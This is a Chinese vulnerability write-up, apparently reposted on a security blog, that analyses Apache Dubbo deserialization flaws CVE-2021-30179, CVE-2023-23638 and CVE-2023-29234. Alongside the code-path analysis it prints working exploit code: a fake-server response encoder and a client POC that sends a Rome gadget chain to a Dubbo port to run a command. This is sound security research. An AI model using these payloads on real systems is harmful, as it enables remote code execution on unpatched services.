Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

admin 2023年12月20日18:08:05评论93 views字数 8781阅读29分16秒阅读模式

本文转自先知社区:

https://xz.aliyun.com/t/13187

作者:1187560031045846

写在前面

最近学习并梳理了一下 Apache dubbo 的两个经典由于泛化调用处理存在问题的 CVE 漏洞,并分析了一下最新 CVE-2023-29234 ,总结出了两种利用方式。

CVE-2021-30179

前置:泛化调用

泛化调用(客户端泛化调用)是指在调用方没有服务方提供的 API(SDK)的情况下,对服务方进行调用,并且可以正常拿到调用结果。详细见 https://cn.dubbo.apache.org/zh-cn/overview/tasks/develop/generic/

调试分析

org.apache.dubbo.remoting.transport.DecodeHandler#received 作为客户端 RPC 调用请求信息处理的入口点,调用 decode 方法。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

根据参数类型可知实际会调用到 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode()
其中会先调用 CodecSupport.getSerialization 方法,根据 id 选择相应的反序列化策略,默认会走 org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize ,最终返回一个 Hessian2ObjectInput 实例。接着这一部分会按照顺序依次解析序列化流,获取 dubbo 服务版本、服务类路径、子版本、服务方法名以及参数描述符。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

之后会根据方法名和参数名在服务端查找是否存在对应的服务方法,如果为 null,则调用 RpcUtils.isGenericCall 判断是否为泛型引用。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

如果是的话则调用 ReflectUtils.desc2classArray 方法显式加载 desc 当中的类。之后根据类型执行 readObject 反序列化参数值,并设置到 RpcInvocation 实例的各个字段当中。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

这个地方之前也是存在反序列化攻击利用的(感兴趣的师傅可以翻一翻以前的 CVE 分析)。不过根据

https://threedr3am.github.io/2021/06/01/CVE-2021-30179 - Dubbo Pre-auth RCE via Java deserialization in the Generic filter/
提到:“受限于默认hessian或者已配置的序列化类型,具有一定的局限性”。

整体梳理一下这部分序列化/反序列化参数顺序:

  • string * 5 (dubboVersion / path / version / methodName / desc)
  • object * args (参数值实例,具体数量根据方法描述符 desc 决定)
  • map (这里面可用于设置 generic key)
    之后会去执行
    org.apache.dubbo.remoting.exchange.support.header.HeaderExchangeHandler#received ,这里关注到 message 参数类型当前为 Request 类,因此会走第一个分支(后续会关注到 Response 分支部分)。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

观察到刚才解析得到的各个参数值位于 messagemData 字段。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

第一个分支当中会再次取出 mData 的字段值转化为 RpcInvocation 类实例,并调用 org.apache.dubbo.remoting.exchange.support.ExchangeHandlerAdapter#received 方法,进一步调用 reply

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

之后就会触发一系列 Filter 的 invoke 方法,调用栈如下:

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

关键 filter 函数是 org.apache.dubbo.rpc.filter.GenericFilter#invoke ,再次判断是否为泛型引用之后,会根据 inv 中提供的方法名从 dubbo 服务中找到对应方法,并取出参数类型和具体的参数值。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

中间会从 invattachments 中取出 key 为 generic 的值,这个 generic 代表不同的反序列化策略,除 raw.return 外还有 nativejava、bean、protobuf-json 等。

raw.return 反序列化方式分析
这里如果值为 raw.return ,则会调用 PojoUtils.realize 方法,接着会对每个 args 值调用 realize0 方法,如果这个 arg 属于 Map 类型,则取出 class 键值,并使用 ClassUtils.forName 方法,其中会对传入的 className 使用应用类加载器进行类加载。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

之后对于加载的 class 调用 newInstance 进行实例化。这里首先会去调用 class 默认的 public 构造函数,如果无法访问则会去遍历所有的构造器,优先获取参数个数为 0 的构造函数并反射调用。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

之后便是漏洞的一大利用点,它针对 HashMap 当中剩下的键值,先尝试获取 key 在实例化 class 当中对应 field 的 setter 方法(要求为单参数),如果可以获取到的话。会用和刚才相同的逻辑递归实例化参数值,并反射调用;如果获取不到 setter 方法,则直接反射设置 field 的值。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

因此针对 raw.return 反序列化方式的利用是通过 Map 的方式来传入利用 class,可利用 class 的位置有 3 个:

1. public/private 修饰的无参构造函数
2. 参数为 1 的 setter 方法
3. 支持对实例化的 class 任意字段赋值

bean 反序列化方式分析
这里会先遍历判断每个参数值是否为 JavaBeanDescriptor 类型,如果是则调用 JavaBeanSerializeUtil.deserialize 方法。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

后面会调用到 instantiateForDeserialize 实例化方法,其中调用name2Class 方法中的 Class.forName 进行类加载,然后 instatiate 实例化。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

之后 deserializeInternal ,与 raw.return 的利用思路类似,如果 beanDescriptor 实例的 type 等于 TYPE_BEAN 的话则会依次执行指定 key 字段的 setter 方法或者反射为字段赋值。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

PS:其中 type 可以通过构造 beanDescriptor 实例时设置。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

native 反序列化方式
这个利用比较特殊,需要配置中开启 dubbo.security.serialize.generic.native-java-enable 选项才能使用。
这里如果参数值为 byte[] 数组的话,则会传入 UnsafeByteArrayInputStream 构造函数当中,后加载并调用 NativeJavaObjectInputdeserialize 方法。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

该类的 inputStream 字段封装了 ObjectInputStream 输入流,最终反序列化时也会调用的是后者,因此可触发二次反序列化。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

CVE-2023-23638 (学习 bypass 思路)

受影响版本:Apache Dubbo 3.0.x <= 3.0.13;3.1.x <= 3.1.5
前版本 diff 分析
org.apache.dubbo.rpc.filter.GenericFilter#invoke 方法当中,会对每个 args 值调用 realize0 方法,如果这个 arg 属于 Map 类型,则取出 class 键值,调用 SerializeClassChecker.getInstance().validateClass ,里面会作黑名单检查。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

bypass 思路
native 反序列化方式
这个反序列化方式可以让我们触发一个二次反序列化,从而绕过上述安全检查。但是困难点在于 dubbo.security.serialize.generic.native-java-enable 选项默认未开启,因此利用思路就是寻找如何将它打开。
于是这个 org.apache.dubbo.common.utils.ConfigUtils#setProperties 方法就十分有用,利用它可将CommonConstants.ENABLE_NATIVE_JAVA_GENERIC_SERIALIZE 属性设置为 true 即可。当然从 dubbo 的源码中可知 System.setProperties 也是可以直接设置 dubbo 服务属性的。
因此绕过部分的 map 就可以写成:

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

raw.return 反序列化方式
SerializeClassChecker 类的 CLASS_DESERIALIZE_BLOCKED_SET 置空或者 OPEN_CHECK_CLASS 设置为 false,这个类实例的获取方式为单例模式,因此需要控制 INSTANCE 字段为上面指定的实例。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

绕过部分的 map 可以写成:

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

修复方案:
新增 SerializeClassChecker 类检查器,其中指定了 dubbo.application.check-serializable 默认为 true。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

其中的 validateClass 方法会检查指定反序列化类是否可序列化。这个方法会在 realize0 中调用。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

之前需要用来设置属性的利用类 org.apache.dubbo.common.utils.ConfigUtils 以及 java.lang.System 均未实现序列化接口,因此不再可利用;同样,org.apache.dubbo.common.utils.SerializeClassChecker 也未实现序列化接口,无法覆盖其相关检查字段。

CVE-2023-29234 (1day)

受影响版本:

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

git diff: https://github.com/apache/dubbo/commit/9ae97ea053dad758a0346a9acda4fbc8ea01429a
org.apache.dubbo.common.serialize.ObjectInput#readThrowable 方法抛出异常的地方作了修改,而之前版本会直接打印 obj 对象,隐式触发 toString 方法,漏洞场景类似 CVE-2021-43297。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

反向溯源调用位置,位于该函数的 switch-case 语句的 DubboCodec.RESPONSE_WITH_EXCEPTION 分支处调用 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcResult#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

调用链如下:

org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcResult#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)    --->        handleException()            --->                ObjectInput.readThrowable()                    --->                        obj.toString()

Dubbo 编解码那些事_decodeablerpcresult-CSDN博客 可知 DecodeableRpcResult 这个类是在 dubbo 服务的消费者接收提供者方发来的响应时解码使用。

利用方式一:fake server
测试版本:Apache Dubbo 3.1.10
我们知道 dubbo 支持多种序列化方式,对于 dubbo 协议来说默认为 hessian2,其他如下所示(hessian2 对应 id 为 2,也可以通过 Serialization.getContentTypeId() 获得)

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

由官方文档可知,这个协议如何配置完全由服务方定的,因此完全可以做一个 fake server 来诱导客户端主动连接。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

因此我们可以重写服务端编码响应信息函数的部分逻辑,主动构造一个用于上面提到的 toString 调用链对象来替代 Throwable 实例 th。
具体重写位置在 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#encodeResponseData(org.apache.dubbo.remoting.Channel, org.apache.dubbo.common.serialize.ObjectOutput, java.lang.Object, java.lang.String)

@Override    protected void encodeResponseData(Channel channel, ObjectOutput out, Object data, String version) throws IOException {        Result result = (Result) data;        // currently, the version value in Response records the version of Request        boolean attach = Version.isSupportResponseAttachment(version);//         Throwable th = result.getException();            Object th = null;  // 利用点:用于 toString 的 gadget chain         try {                th = getThrowablePayload("open -a calculator");            } catch (Exception e) {

            }

        if (th == null) {            Object ret = result.getValue();            if (ret == null) {                out.writeByte(attach ? RESPONSE_NULL_VALUE_WITH_ATTACHMENTS : RESPONSE_NULL_VALUE);            } else {                out.writeByte(attach ? RESPONSE_VALUE_WITH_ATTACHMENTS : RESPONSE_VALUE);                   out.writeObject(ret);               }        } else {            out.writeByte(attach ? RESPONSE_WITH_EXCEPTION_WITH_ATTACHMENTS : RESPONSE_WITH_EXCEPTION);//            out.writeThrowable(th);             out.writeObject(th);    // 直接序列化对象即可        }

        if (attach) {            // returns current version of Response to consumer side.            result.getObjectAttachments().put(DUBBO_VERSION_KEY, Version.getProtocolVersion());            out.writeAttachments(result.getObjectAttachments());        }    }

这里的 toString 调用链以 Rome toString 的利用部分为例,师傅们也可以选择/挖掘其他可利用的 gadget;同时,为了方便这里直接指定服务端的协议配置中的序列化方式为 nativejava,它反序列化时直接会使用 ObjectInputStream#readObject 。大家也可以探索一下其他序列化方式当中的黑名单绕过情况。

<dubbo:protocol name="dubbo" port="20880" serialization="nativejava"/>

客户端发起正常服务请求后,解码响应信息时顺利触发至 org.apache.dubbo.common.serialize.ObjectInput#readThrowable 位置,状态如下:

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

利用方式二:客户端打服务端
测试版本:3.1.5
由于 dubbo 并没有限制客户端不能发送 Response 数据,因此客户端同样可以构造一个 Response 信息发给服务端。
但是在服务端解码响应信息时,即函数调用位置为 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody,不同版本之间存在差异性,这里测试了一下 3.1.10 以及 3.1.5 之间的区别。
首先是 3.1.5 版本,注意到在创建 DecodeableRpcResult 实例时,其中一个构造参数 invocation 来自于 getRequestData(id)

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

跟入可知这个 invocation 来自于 dubbo 服务当中还没处理完毕的请求,会根据 id 值来获取,而由于我们这里只发送了一个 Response 信息,DefaultFuture 当中的 FUTURES map 为空,这里也就会返回 null。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

但是依然可以将 DecodeableRpcResult 实例构造出来,并设置到 res 变量的 mResult 字段当中。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

后续在触发到 toString 入口的过程中,不会因为 mResult 字段为 null 或者非 Decodeable 类而中断(DecodeableRpcResultDecodeable 的实现)。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

而对于 3.1.10 版本,getRequestData 方法如果获取不到 future 会直接抛出异常,进而无法创建出有效的 DecodeableRpcResult 实例。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

进而,后续 message 参数会由于是 null 而直接返回。

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

这里给出 3.1.5 版本下的测试 POC 核心部分:

public static void main(String[] args) throws Exception {

        ByteArrayOutputStream boos = new ByteArrayOutputStream();        ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();        Serialization serialization = new NativeJavaSerialization();        NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);

        // header.        byte[] header = new byte[HEADER_LENGTH];        // set magic number.        Bytes.short2bytes(MAGIC, header);        // set request and serialization flag.        header[2] = serialization.getContentTypeId();

        header[3] = Response.OK;        Bytes.long2bytes(1, header, 4);

        // result        Object exp = getThrowablePayload("open -a calculator"); // Rome toString 利用链        out.writeByte(RESPONSE_WITH_EXCEPTION);        out.writeObject(exp);

        out.flushBuffer();

        Bytes.int2bytes(nativeJavaBoos.size(), header, 12);        boos.write(header);        boos.write(nativeJavaBoos.toByteArray());

        byte[] responseData = boos.toByteArray();

        Socket socket = new Socket("127.0.0.1", 20880);        OutputStream outputStream = socket.getOutputStream();        outputStream.write(responseData);        outputStream.flush();        outputStream.close();    }

    protected static Object getThrowablePayload(String command) throws Exception {        Object o = Gadgets.createTemplatesImpl(command);        ObjectBean delegate = new ObjectBean(Templates.class, o);

        return delegate;    }

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

完整 POC 项目基于 DubboPOC 作的修改和添加,可见 CVE-2023-29234
PS:git diff 当中还存在其他位置的 patch,值得进一步探索其他的利用方式(篇幅有限)。

引用

[1] Apache dubbo 反序列化漏洞(CVE-2023-23638)分析及利用探索 - 先知社区 (aliyun.com)[2] CVE-2023-29234: Bypass serialize checks in Apache Dubbo-Apache Mail Archives[3] 开发服务 | Apache Dubbo[4] Apache Dubbo CVE-2023-23638 JavaNative 反序列化漏洞分析 - 先知社区 (aliyun.com)[5] 【漏洞分析】Dubbo Pre-auth RCE(CVE-2021-30179) (qq.com)[6] RPC 通信协议 | Apache Dubbo[7] DubboPOC/src/main/java/top/lz2y/vul/CVE202323638.java at main · lz2y/DubboPOC (github.com)[8] Apache Dubbo 反序列化漏洞(CVE-2023-29234) · Issue #334 · y1ong/blog-timeline (github.com)

原文始发于微信公众号(合天网安实验室):Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月20日18:08:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析http://cn-sec.com/archives/2321087.html

发表评论

匿名网友 填写信息